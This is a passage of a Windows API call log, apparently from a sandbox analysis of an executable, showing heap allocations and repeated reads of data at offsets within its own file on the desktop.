[0073.326] GetLastError () returned 0x0 [0073.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b6af80, Size=0x20015) returned 0x2b7afa0 [0073.328] GetLastError () returned 0x0 [0073.328] GetCurrentThreadId () returned 0x9b0 [0073.328] GetLastError () returned 0x0 [0073.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b62f78 | out: hHeap=0x2ad0000) returned 1 [0073.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac9bb0 | out: hHeap=0x2ad0000) returned 1 [0073.328] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b7afa0, Size=0x1b47e) returned 0x2b7afa0 [0073.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aaf178 | out: hHeap=0x2ad0000) returned 1 [0073.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb45) returned 0x2ac9bb0 [0073.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x378) returned 0x2a8b3c8 [0073.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x26f) returned 0x2aca700 [0073.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.328] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1f9c0 [0073.328] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f9c0, Size=0x40) returned 0x2a191c0 [0073.328] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a191c0, Size=0x64) returned 0x2a19738 [0073.328] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ad1768 [0073.328] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1768, Size=0xb8) returned 0x2a8b748 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b748, Size=0xe8) returned 0x2a8b748 [0073.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x26f) returned 0x2aca978 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b748, Size=0x120) returned 0x2a8b748 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b748, Size=0x160) returned 0x2a8b748 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b748, Size=0x1a8) returned 0x2a8b748 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b748, Size=0x1f8) returned 0x2a8b748 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b748, Size=0x250) returned 0x2a87788 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a87788, Size=0x2b4) returned 0x2acabf0 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acabf0, Size=0x324) returned 0x2acabf0 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acabf0, Size=0x3a4) returned 0x2acabf0 [0073.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acabf0, Size=0x434) returned 0x2acabf0 [0073.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x22c) returned 0x2a87788 [0073.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x240) returned 0x2a8abc8 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4e3) returned 0x2acb030 [0073.330] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acabf0, Size=0x4d4) returned 0x2acb520 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x688) returned 0x2acba00 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x336) returned 0x2acabf0 [0073.330] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb520, Size=0x588) returned 0x2acc090 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2cd) returned 0x2acb520 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21b) returned 0x2acc620 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c3) returned 0x2acc848 [0073.330] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acc090, Size=0x654) returned 0x2accb18 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x249) returned 0x2ac3af0 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e7) returned 0x2acc090 [0073.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x257) returned 0x2acd178 [0073.331] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2accb18, Size=0x738) returned 0x2acd3d8 [0073.331] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acd3d8, Size=0x838) returned 0x2acd3d8 [0073.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x288) returned 0x2accb18 [0073.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x261) returned 0x2accda8 [0073.331] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acd3d8, Size=0x958) returned 0x2acd3d8 [0073.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2af) returned 0x2acdd38 [0073.332] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acd3d8, Size=0xa9c) returned 0x2acdff0 [0073.332] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acdff0, Size=0xc0c) returned 0x2acdff0 [0073.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f9) returned 0x2acec08 [0073.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x206) returned 0x2a8b748 [0073.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38c) returned 0x2acd3d8 [0073.333] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acdff0, Size=0xda8) returned 0x2b96428 [0073.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b96428 | out: hHeap=0x2ad0000) returned 1 [0073.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b7afa0 | out: hHeap=0x2ad0000) returned 1 [0073.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x118) returned 0x2acd018 [0073.334] GetCurrentThreadId () returned 0x9b0 [0073.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acd018 | out: hHeap=0x2ad0000) returned 1 [0073.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1b0 [0073.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac70d8 [0073.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x268) returned 0x2acd770 [0073.335] GetCurrentThreadId () returned 0x9b0 [0073.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.335] GetCurrentThreadId () returned 0x9b0 [0073.335] GetCurrentThreadId () returned 0x9b0 [0073.335] GetCurrentThreadId () returned 0x9b0 [0073.335] GetCurrentThreadId () returned 0x9b0 [0073.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.335] GetCurrentThreadId () returned 0x9b0 [0073.335] GetCurrentThreadId () returned 0x9b0 [0073.335] GetLastError () returned 0x0 [0073.335] GetLastError () returned 0x0 [0073.335] GetLastError () returned 0x0 [0073.335] GetLastError () returned 0x0 [0073.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20258 [0073.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b200 [0073.335] GetLastError () returned 0x0 [0073.335] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0073.335] GetFileType (hFile=0x1d4) returned 0x1 [0073.335] GetLastError () returned 0x0 [0073.336] GetCurrentThreadId () returned 0x9b0 [0073.336] GetLastError () returned 0x0 [0073.336] GetFileType (hFile=0x1d4) returned 0x1 [0073.336] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.336] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.336] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.336] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.336] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.336] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.336] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.336] GetLastError () returned 0x0 [0073.336] GetCurrentThreadId () returned 0x9b0 [0073.336] GetLastError () returned 0x0 [0073.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0073.336] GetLastError () returned 0x0 [0073.336] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8042865, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x7ab971 [0073.336] GetLastError () returned 0x0 [0073.336] GetCurrentThreadId () returned 0x9b0 [0073.336] GetLastError () returned 0x0 [0073.336] GetCurrentThreadId () returned 0x9b0 [0073.336] GetLastError () returned 0x0 [0073.336] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6851278, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x688ace [0073.337] GetLastError () returned 0x0 [0073.337] GetCurrentThreadId () returned 0x9b0 [0073.337] GetLastError () returned 0x0 [0073.337] GetCurrentThreadId () returned 0x9b0 [0073.337] GetCurrentThreadId () returned 0x9b0 [0073.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6e4) returned 0x2acdff0 [0073.337] GetLastError () returned 0x0 [0073.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2aaf178 [0073.337] ReadFile (in: hFile=0x1d4, lpBuffer=0x2aaf178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2aaf178*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.337] GetLastError () returned 0x0 [0073.337] GetCurrentThreadId () returned 0x9b0 [0073.337] GetLastError () returned 0x0 [0073.337] GetCurrentThreadId () returned 0x9b0 [0073.337] GetLastError () returned 0x0 [0073.338] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x689ace [0073.338] GetLastError () returned 0x0 [0073.338] GetCurrentThreadId () returned 0x9b0 [0073.338] GetLastError () returned 0x0 [0073.338] GetLastError () returned 0x0 [0073.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aaf178 | out: hHeap=0x2ad0000) returned 1 [0073.338] CloseHandle (hObject=0x1d4) returned 1 [0073.338] GetLastError () returned 0x0 [0073.338] GetCurrentThreadId () returned 0x9b0 [0073.338] GetLastError () returned 0x0 [0073.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2aaf178 [0073.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2ab0d50 [0073.338] GetLastError () returned 0x0 [0073.338] GetCurrentThreadId () returned 0x9b0 [0073.338] GetLastError () returned 0x0 [0073.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aaf178 | out: hHeap=0x2ad0000) returned 1 [0073.338] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab0d50, Size=0x100e) returned 0x2ab0d50 [0073.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acdff0 | out: hHeap=0x2ad0000) returned 1 [0073.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x67b) returned 0x2acdff0 [0073.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.339] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18268, Size=0x20) returned 0x2a1f858 [0073.339] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x40) returned 0x2a18cb0 [0073.339] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18cb0, Size=0x64) returned 0x2a195e8 [0073.339] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a195e8, Size=0x8c) returned 0x2ad1768 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1768 | out: hHeap=0x2ad0000) returned 1 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0d50 | out: hHeap=0x2ad0000) returned 1 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a702e8 [0073.339] GetCurrentThreadId () returned 0x9b0 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f8d0 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa88 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaf4b0 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa63c0 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a702e8 | out: hHeap=0x2ad0000) returned 1 [0073.339] GetCurrentThreadId () returned 0x9b0 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.339] GetCurrentThreadId () returned 0x9b0 [0073.339] GetCurrentThreadId () returned 0x9b0 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.339] GetCurrentThreadId () returned 0x9b0 [0073.339] GetCurrentThreadId () returned 0x9b0 [0073.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] GetCurrentThreadId () returned 0x9b0 [0073.340] GetLastError () returned 0x0 [0073.340] GetLastError () returned 0x0 [0073.340] GetLastError () returned 0x0 [0073.340] GetLastError () returned 0x0 [0073.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1fef8 [0073.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b200 [0073.340] GetLastError () returned 0x0 [0073.340] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0073.340] GetFileType (hFile=0x1d4) returned 0x1 [0073.340] GetLastError () returned 0x0 [0073.341] GetCurrentThreadId () returned 0x9b0 [0073.341] GetLastError () returned 0x0 [0073.341] GetFileType (hFile=0x1d4) returned 0x1 [0073.341] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.341] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.341] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.341] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.341] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.341] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.341] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.341] GetLastError () returned 0x0 [0073.341] GetCurrentThreadId () returned 0x9b0 [0073.341] GetLastError () returned 0x0 [0073.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0073.341] GetLastError () returned 0x0 [0073.341] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6853021, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x68919d [0073.341] GetLastError () returned 0x0 [0073.341] GetCurrentThreadId () returned 0x9b0 [0073.341] GetLastError () returned 0x0 [0073.341] GetCurrentThreadId () returned 0x9b0 [0073.341] GetLastError () returned 0x0 [0073.341] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7874867, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x782933 [0073.342] GetLastError () returned 0x0 [0073.342] GetCurrentThreadId () returned 0x9b0 [0073.342] GetLastError () returned 0x0 [0073.342] GetCurrentThreadId () returned 0x9b0 [0073.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6b3) returned 0x2ab1180 [0073.342] GetLastError () returned 0x0 [0073.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2ab1840 [0073.342] ReadFile (in: hFile=0x1d4, lpBuffer=0x2ab1840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2ab1840*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.342] GetLastError () returned 0x0 [0073.342] GetCurrentThreadId () returned 0x9b0 [0073.342] GetLastError () returned 0x0 [0073.342] GetCurrentThreadId () returned 0x9b0 [0073.342] GetCurrentThreadId () returned 0x9b0 [0073.342] GetLastError () returned 0x0 [0073.342] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x783933 [0073.342] GetLastError () returned 0x0 [0073.342] GetCurrentThreadId () returned 0x9b0 [0073.342] GetLastError () returned 0x0 [0073.342] GetLastError () returned 0x0 [0073.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab1840 | out: hHeap=0x2ad0000) returned 1 [0073.343] CloseHandle (hObject=0x1d4) returned 1 [0073.343] GetLastError () returned 0x0 [0073.343] GetCurrentThreadId () returned 0x9b0 [0073.343] GetLastError () returned 0x0 [0073.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ab1840 [0073.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2ab3418 [0073.343] GetLastError () returned 0x0 [0073.343] GetCurrentThreadId () returned 0x9b0 [0073.343] GetLastError () returned 0x0 [0073.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab1840 | out: hHeap=0x2ad0000) returned 1 [0073.343] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab3418, Size=0xda9) returned 0x2ab3418 [0073.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab1180 | out: hHeap=0x2ad0000) returned 1 [0073.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5d6) returned 0x2ab1180 [0073.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18190 [0073.343] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18190, Size=0x20) returned 0x2a1fab0 [0073.343] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fab0, Size=0x40) returned 0x2a18e60 [0073.343] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a198f8 [0073.343] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a198f8, Size=0x8c) returned 0x2ad1768 [0073.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1768, Size=0xb8) returned 0x2acef10 [0073.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acef10 | out: hHeap=0x2ad0000) returned 1 [0073.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab3418 | out: hHeap=0x2ad0000) returned 1 [0073.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab00f0 [0073.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x48) returned 0x2a73210 [0073.344] GetCurrentThreadId () returned 0x9b0 [0073.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.344] GetCurrentThreadId () returned 0x9b0 [0073.344] GetCurrentThreadId () returned 0x9b0 [0073.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.344] GetCurrentThreadId () returned 0x9b0 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5d6) returned 0x2ab1760 [0073.345] GetCurrentThreadId () returned 0x9b0 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.345] GetCurrentThreadId () returned 0x9b0 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18100 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a200d8 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71880 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1c0 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a180a0 [0073.345] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b1c0, Size=0x14) returned 0x2a71940 [0073.345] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a20258 [0073.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0073.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0073.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18190 [0073.346] RtlAllocateHeap 